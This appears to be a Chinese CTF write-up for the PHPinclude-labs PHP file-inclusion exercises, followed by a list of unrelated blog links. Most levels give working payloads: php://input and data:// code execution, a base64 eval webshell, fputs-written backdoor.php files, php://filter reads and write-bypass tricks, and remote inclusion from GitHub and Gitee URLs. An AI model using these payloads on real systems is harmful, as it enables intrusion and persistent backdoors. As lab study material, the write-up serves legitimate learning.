Level 1 file协议





payload:?wrappers=/flag

Level 2 data协议

去包含data协议中的内容其实相当于进行了一次远程包含,所以data协议的利用条件需要 php.ini 中开启 allow_url_fopen 和 allow_url_include

GET: ?wrappers=, 然后 POST:helloctf=system('cat /flag');

Level 3 data协议_2

用base64编码进行绕过

根据base64解码规则和php中base64解码宽松性,= 在解码过程开始前会被移除,所以不会影响解码结果,但是+号作为码表的一部分移除会导致解码不正确,注意分别。

Payload:

GET: ?wrappers=;base64,PD9waHAgZXZhbCgkX1BPU1RbJ2hlbGwnXSk7Pz4, POST:hell=system('cat /flag');

Level 4 http:// & https:// 协议

GET:?wrappers=127.0.0.1/backdoor.txt POST:ctf=system('cat /flag');

Level 5 http:// & https:// 协议_2

本题使用远端包含:

GET:?wrappers=raw.githubusercontent.com/ProbiusOfficial/PHPinclude-labs/main/RFI POST:a=system('cat /flag');

Level 6 php:// 协议

php://input + [<?= system('tac flag.???');?>]
php://input + [<?php fputs(fopen('backdoor.php','w'),'<?php @eval($_GET[ctf]); ?>'); ?>] php://filter//resource=/flag
php://filter/read=convert.base64-encode/resource=flag.php
php://filter/convert.base64-encode/resource=flag.php

Level 7 php://input 协议

<?php eval($_GET['ctf']); ?> /* 间接代码执行 */ 

<?php fputs(fopen('backdoor.php','w'),'<?php eval($_POST["ctf"]); ?>'); ?> /* 生成后门木马 */ 

<?= system('tac flag.???');?> /* 直接命令执行 */

Level 8 php://filter_过滤器&字符串过滤器

?wrappers=filter/string.rot13/resource=/flag

Level 9 php://filter_转换过滤器

?wrappers=filter/convert.base64-encode/resource=flag.php

Level 10 文件系统函数_file_get_contents()

php://filter/string.toupper/resource=/flag (正则并没有匹配大小写)
php://filter/string.rot13/resource=/flag
php://filter/read=convert.base64-encode/resource=/flag

Level 11 文件系统函数_file_put_contents()

Payload:

GET:?filename=php://filter/write=convert.base64-decode/resource=backdoor.php

POST:data=PD9waHAgZXZhbCgkX1BPU1RbJ2hlbGwnXSk7Pz4

backdoor.php :

Level 11- 封装协议解析

string.rot13

string.strip_tags 去除html、PHP语言标签 (本特性已自 PHP 7.3.0 起废弃)

convert.base64-encode 和 convert.base64-decode

convert.iconv.. 或 convert.iconv./

Level 11+ 死亡绕过



对内容填充两个字符后可以使前方无效后方正常解析。

GET:?filename=php://filter/write=convert.base64-decode/resource=shell.php

POST:data=aaPD9waHAgQGV2YWwoJF9QT1NUWydhdyddKTsgPz4

Level 12 LFI&&RFI

LFI - Local File Inclusion, 本地文件包含: 打开并包含本地文件的行为,比如我们后面会接触的日志文件包含,session文件包含,FilterChain等等。

本地文件包含是最常见的文件包含漏洞,在前面关卡中几乎所有的演示都是LFI(比如包含phpinfo.txt,backdoor.txt这样的行为)。

?wrappers=https://gitee.com/Probius/PHPinclude-labs/raw/main/RFI

RFI- Remote File Inclusion,远程文件包含: 读取并执行远程服务器上文件的行为,相比于LFI,远程服务器上文件的可控性更高,因此危害更高,但代价就是条件苛刻,十分依赖 allow_url_include 参数。 HTTP/HTTPS 协议是最直观的远程文件包含形式,当然一定意义上,使用data协议去生成字符串然后包含也是一种远程文件包含。

phpinclude-labs做题记录的更多相关文章

  1. UOJ 做题记录

    UOJ 做题记录 其实我这么弱> >根本不会做题呢> > #21. [UR #1]缩进优化 其实想想还是一道非常丝播的题目呢> > 直接对于每个缩进长度统计一遍就好 ...

  2. project euler做题记录

    ProjectEuler_做题记录 简单记录一下. problem 441 The inverse summation of coprime couples 神仙题.考虑答案为: \[\begin{a ...

  3. Sam做题记录

    Sam做题记录 Hihocoder 后缀自动机二·重复旋律5 求一个串中本质不同的子串数 显然,答案是 \(\sum len[i]-len[fa[i]]\) Hihocoder 后缀自动机三·重复旋律 ...

  4. 退役IV次后做题记录

    退役IV次后做题记录 我啥都不会了.... AGC023 D 如果所有的楼房都在\(S\)同一边可以直接得出答案. 否则考虑最左最右两边的票数,如果左边>=右边,那么最右边会投给左边,因为就算车 ...

  5. 退役III次后做题记录(扯淡)

    退役III次后做题记录(扯淡) CF607E Cross Sum 计算几何屎题 直接二分一下,算出每条线的位置然后算 注意相对位置这个不能先搞出坐标,直接算角度就行了,不然会卡精度/px flag:计 ...

  6. 退役II次后做题记录

    退役II次后做题记录 感觉没啥好更的,咕. atcoder1219 历史研究 回滚莫队. [六省联考2017]组合数问题 我是傻逼 按照组合意义等价于\(nk\)个物品,选的物品\(\mod k\) ...

  7. BJOI做题记录

    BJOI做题记录 终于想起还要做一下历年省选题了2333 然而咕了的还是比做了的多2333 LOJ #2178. 「BJOI2017」机动训练 咕了. LOJ #2179. 「BJOI2017」树的难 ...

  8. FJOI2017前做题记录

    FJOI2017前做题记录 2017-04-15 [ZJOI2017] 树状数组 问题转化后,变成区间随机将一个数异或一,询问两个位置的值相等的概率.(注意特判询问有一个区间的左端点为1的情况,因为题 ...

  9. [日记&做题记录]-Noip2016提高组复赛 倒数十天

    写这篇博客的时候有点激动 为了让自己不颓 还是写写日记 存存模板 Nov.8 2016 今天早上买了两个蛋挞 吃了一个 然后就做数论(前天晚上还是想放弃数论 但是昨天被数论虐了 woc noip模拟赛 ...

  10. noip做题记录+挑战一句话题解?

    因为灵巧实在太弱辽不得不做点noip续下命QQAQQQ 2018 积木大赛/铺设道路 傻逼原题? 然后傻逼的我居然检查了半天是不是有陷阱最后花了差不多一个小时才做掉我做过的原题...真的傻逼了我:( ...

随机推荐

  1. git Already up-to-date解决办法,强制覆盖本地代码

    1.拉取最新云端代码强制覆盖本地代码 git fetch --all git reset --hard origin/master git pull 2.git将分支合并到主master,出现这个结果 ...

  2. Qt编写linux系统onvif工具(支持预览/云台/预置位/录像等)

    一.功能特点 广播搜索设备,支持IPC和NVR,依次返回. 可选择不同的网卡IP进行对应网段设备的搜索. 依次获取Onvif地址.Media地址.Profile文件.Rtsp地址. 可对指定的Prof ...

  3. Qt编写物联网管理平台50-超强跨平台

    一.前言 跨平台的需求,除了是用户的需求外,也是为了适应日益增长的国产操作系统的发展的需要,当前国产操作系统发展的如火如荼,100%都是围绕linux系统展开,说的好听点就是站在巨人的肩膀上开发,不好 ...

  4. 《Maven应用实战》一书的在线学习网址和源码链接

    <Maven应用实战>杨世文,孙会军 在线学习网址:http://c.biancheng.net/view/4756.html 源码链接:https://pan.baidu.com/s/1 ...

  5. 基于开源IM即时通讯框架MobileIMSDK:RainbowChat-iOS端v9.0版已发布

    关于MobileIMSDK MobileIMSDK 是一套专门为移动端开发的开源IM即时通讯框架,超轻量级.高度提炼,一套API优雅支持 UDP .TCP .WebSocket 三种协议,支持 iOS ...

  6. 基于开源IM即时通讯框架MobileIMSDK:RainbowChat v11.0版已发布

    关于MobileIMSDK MobileIMSDK 是一套专门为移动端开发的开源IM即时通讯框架,超轻量级.高度提炼,一套API优雅支持UDP .TCP .WebSocket 三种协议,支持iOS.A ...

  7. 思维导图学《Java性能权威指南》

    目录 性能测试 Java 性能调优工具箱 JIT 编译器 垃圾收集 原生内存 线程与同步的性能 Java API 技巧 GitHub LeetCode 项目 目录 YANO SPACE 2021 计划 ...

  8. JMeter:强大的性能测试工具

    揭秘 JMeter:性能测试的得力助手 宝子们,今天咱来唠唠在软件测试这旮旯里超厉害的 JMeter!这玩意儿就像是个超级侦探,能帮咱摸清楚软件系统在人多手杂的时候到底表现咋样. 一.JMeter 是 ...

  9. 自动化滑动极验v3示例

    import random import ddddocr from playwright.sync_api import sync_playwright import time import requ ...

  10. Elasticsearch应用介绍

    Elasticsearch 是一个分布式可扩展的实时搜索和分析引擎,一个建立在全文搜索引擎 Apache Lucene(TM) 基础上的搜索引擎.当然 Elasticsearch 并不仅仅是 Luce ...